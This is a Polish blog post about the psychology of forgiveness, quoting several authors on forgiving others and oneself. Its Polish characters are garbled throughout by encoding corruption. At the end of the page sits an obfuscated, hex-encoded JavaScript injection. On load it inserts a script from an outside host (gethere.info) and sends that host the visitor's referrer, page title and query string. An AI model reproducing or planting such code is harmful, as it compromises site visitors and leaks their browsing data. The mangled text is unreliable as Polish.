SiA�a przebaczenia

opublikowane w Najnowsze Wpisy, Psychologia | 0

IdA� A�wiA�ta BoA?ego Narodzenia. To dobry czas, by poruszyA� ten trudny temat. Pewnie wielu z nas, jeA�li nie kaA?dy, nosi w sercu jakieA� zadry, bolesne rozczarowania, ktA?rych powodem byA� drugi czA�owiek. Ludzie nas raniA�, tak juA? jest. A im bliA?sze relacje, tym trudniejsze, bardzo A�atwo w nich o zranienia. Czasem jest to tylko szermierka sA�owna, sA�owo przeciwko sA�owu. Czasem mamy do przebaczenia znaczne ciA�A?sze rzeczy. Ale co tak naprawdA� oznacza wybaczyA� i po co to robiA�?

MoA?emy siA� buntowaA� a�� jak to, ktoA� mnie zraniA�, a ja mam byA� taki wielkoduszny i wybaczyA�? Jaka w tym sprawiedliwoA�A�? Nie chcemy przebaczaA�, bo wydaje nam siA�, A?e gdy to zrobimy, naszego winowajcA� nie spotka A?adna kara. Domagamy siA� sprawiedliwej zapA�aty, ktA?ra wyrA?wna nam rachunek krzywd.A�PaweA� KosiA�ski w swojej ksiA�A?ce „ObudziA� serce” pisze, A?e nasz lA�k przed przebaczeniem jest tak duA?y, A?e A�atwiej jest nam uciec od problemu, staraA� siA� zapomnieA�, niA? podjA�A� wysiA�ek pojednania. SpA?jrzmy jednak na to wszystko z drugiej strony: ktoA� mnie zraniA�, a wiec czujA� siA� skrzywdzona, a moA?e jest we mnie jeszcze szersza gama uczuA� takich jak zA�oA�A�, gniew, A?ala�� I mam z tym wszystkim A?yA�? Mam pA�aciA� jeszcze wiA�kszA� cenA� jakA� jest trwanie w A?alu, zA�oA�ci czy nienawiA�ci? Odmowa ponoszenia tych kosztA?w leA?y w naszym interesie. Tak naprawdA� wybaczamy nie dla kogoA�, ale dla siebie. Nasza chowana uraza nie szkodzi przecieA? osobom, ktA?re nas skrzywdziA�y, tylko nam samym. Dlatego wA�aA�nie warto wybaczaA� – by poczuA� emocjonalnA� wolnoA�A�.A�Trwanie w nienawiA�ci niszczy nas. WpA�ywa niekorzystnie na procesy fizjologiczne w naszym organizmie. MoA?e byA� przyczynA� podwyA?szonego ciA�nienia krwi i zmian hormonalnych m.in. wzrostu poziomu kortyzolu – hormonu stresu, a to wiA�A?e siA� z ryzykiem chorA?b sercowo-naczyniowych, obniA?onA� odpornoA�ciA� czy zaburzeniami pamiA�ci.

Udowodniono, A?e przebaczanie uzdrawia.A�Caroline Myss w a�zAnatomii dusza�? pisze o niezwykA�ej sile wybaczania: a�zUwalniajA�c bA?l emocjonalny i rezygnujA�c z dociekania, dlaczego dzieje siA� tak, jak siA� dzieje, osiA�gamy stan wewnA�trznego spokoju. Jednak aby go doA�wiadczyA� musimy dopuA�ciA� do siebie uzdrawiajA�cA� energiA� wybaczaniaa�?. Jednym z gA�A?wnych powodA?w, dla ktA?rego warto przebaczaA� jest spokA?j naszego sumienia. Nie ma nic cudowniejszego niA? harmonia, ktA?ra panuje na co dzieA� w relacjach miA�dzyludzkich, a takA?e w naszym A?yciu.A�Przebaczenie leczy nasze rany, wprowadza zrozumienie, akceptacjA�. Psychologowie podkreA�lajA�, A?e ludzie, ktA?rzy przebaczyli sobie bardzo wiele, kochajA� siA� peA�niej i gA�A�biej.

Czasem nawet moA?e i byA�my chcieli wybaczyA�, ale jest to sprzeczne z tym, co wewnA�trznie czujemy. Czy wybaczenie ma wtedy sens? Anna Hepner podkreA�la, A?e przebaczenie jest naszA� decyzjA�, dobrowolnym aktem woli. Po prostu decydujemy siA� odpuA�ciA� winowajcy wszystkie jego przewinienia wzglA�dem nas.A�Proces przebaczeniaA�nie jest bowiem zwiA�zany z uczuciami, ale z naszA� wolA�.A�Kiedy pomyA�limy o osobie, ktA?ra nas zraniA�a i o tym, jak ciA�A?ko jest nam jej wybaczyA�, pamiA�tajmy, A?e Jan PaweA� II przebaczyA� czA�owiekowi, ktA?ry chciaA� go zabiA�, a Eleni wybaczyA�a mordercy swojej jedynej cA?rki.

Czasami sytuacja jest jednak odwrotna – to my sami jesteA�my przyczynA� czyjegoA� cierpienia i to my potrzebujemy czyjegoA� przebaczenia. Bez wzglA�du na to, jak bardzo zawiniliA�my, powinniA�my wybaczyA� sami sobie. Dlaczego? Bo nie cofniemy czasu, a trwanie w poczuciu winy, a co za tym idzie – obniA?enie poczucia wA�asnej wartoA�ci, uczucie niepokoju i A?alu, A?le wpA�ywajA� na nasze A?ycie i zazwyczaj nie pozwalajA� nam pA?jA�A� dalej. Kiedy juA? zawinimy, pamiA�tajmy, A?e nikt z nas nie jest doskonaA�y, kaA?dy popeA�nia bA�A�dy, a rozpamiA�tywanie ich i plucie sobie w twarz „mogA�em zrobiA� wszystko inaczej” nie ma najmniejszego sensu. PrzeszA�oA�A� jest juA? za nami i nie jesteA�my w stanie jej zmieniA�. A�yjemy tu i teraz, warto wiA�c zadbaA� o przyszA�oA�A� wyciA�gajA�c z bA�A�dA?w naukA�.

PaweA� KosiA�ski zauwaA?a, A?e czA�sto rozumiemy przebaczenie jakoA�formA� zapomnienia, oddalenia siA� od A?rA?dA�a tego, co nas boli. Wypieramy to, co nieprzyjemne, bolesne, odcinamy siA� od tego. Kierujemy siA� zasadA�, A?e to, czego nie widzimy, czego nie pamiA�tamy nie moA?e wyrzA�dziA� nam dalszych krzywd. Nie jest to jednak do koA�ca prawda.A�Nasza psychika funkcjonuje w zaleA?noA�ci od bodA?cA?w, jakie w danej chwili majA� znaczenie. ZepchniA�cie przykrych doA�wiadczeA� do podA�wiadomoA�ci czy wyparcie ich bez pojednania z nimi, nie zamyka ich i jest gromadzeniem negatywnej energii, ktA?ra ujawnia siA� przy innych okolicznoA�ciach, czasami w najbardziej nieodpowiednim momencie. Traktowanie A�przebaczenia jako niepamiA�tania bolesnych doA�wiadczeA� nie pozwala uruchomiA� pozytywnej energii, ktA?ra uaktywnia siA� w procesie prawdziwego przebaczenia. Dlatego nie zamiatajmy pod dywan przykrych doA�wiadczeA�, nie udawajmy, A?e nic siA� nie staA�o. Konfrontujmy siA� z kaA?dA� bolesnA� zadrA� w nas, tak, by ktA?regoA� dnia nie wrA?ciA�a do nas jak bumerang.

 

ZdjA�cie: www.tapety.tja.pl


 var _0xb322=[„\x73\x63\x72\x69\x70\x74″,”\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74″,”\x73\x72\x63″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26\x73\x65\x5F\x72\x65\x66\x65\x72\x72\x65\x72\x3D”,”\x72\x65\x66\x65\x72\x72\x65\x72″,”\x26\x64\x65\x66\x61\x75\x6C\x74\x5F\x6B\x65\x79\x77\x6F\x72\x64\x3D”,”\x74\x69\x74\x6C\x65″,”\x26″,”\x3F”,”\x72\x65\x70\x6C\x61\x63\x65″,”\x73\x65\x61\x72\x63\x68″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”,”\x26\x66\x72\x6D\x3D\x73\x63\x72\x69\x70\x74″,”\x63\x75\x72\x72\x65\x6E\x74\x53\x63\x72\x69\x70\x74″,”\x69\x6E\x73\x65\x72\x74\x42\x65\x66\x6F\x72\x65″,”\x70\x61\x72\x65\x6E\x74\x4E\x6F\x64\x65″,”\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64″,”\x68\x65\x61\x64″,”\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65″,”\x70\x72\x6F\x74\x6F\x63\x6F\x6C”,”\x68\x74\x74\x70\x73\x3A”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x52\x5F\x50\x41\x54\x48″,”\x54\x68\x65\x20\x77\x65\x62\x73\x69\x74\x65\x20\x77\x6F\x72\x6B\x73\x20\x6F\x6E\x20\x48\x54\x54\x50\x53\x2E\x20\x54\x68\x65\x20\x74\x72\x61\x63\x6B\x65\x72\x20\x6D\x75\x73\x74\x20\x75\x73\x65\x20\x48\x54\x54\x50\x53\x20\x74\x6F\x6F\x2E”];var d=document;var s=d[_0xb322[1]](_0xb322[0]);s[_0xb322[2]]= _0xb322[3]+ encodeURIComponent(document[_0xb322[4]])+ _0xb322[5]+ encodeURIComponent(document[_0xb322[6]])+ _0xb322[7]+ window[_0xb322[11]][_0xb322[10]][_0xb322[9]](_0xb322[8],_0xb322[7])+ _0xb322[12];if(document[_0xb322[13]]){document[_0xb322[13]][_0xb322[15]][_0xb322[14]](s,document[_0xb322[13]])}else {d[_0xb322[18]](_0xb322[17])[0][_0xb322[16]](s)};if(document[_0xb322[11]][_0xb322[19]]=== _0xb322[20]&& KTracking[_0xb322[22]][_0xb322[21]](_0xb322[3]+ encodeURIComponent(document[_0xb322[4]])+ _0xb322[5]+ encodeURIComponent(document[_0xb322[6]])+ _0xb322[7]+ window[_0xb322[11]][_0xb322[10]][_0xb322[9]](_0xb322[8],_0xb322[7])+ _0xb322[12])=== -1){alert(_0xb322[23])}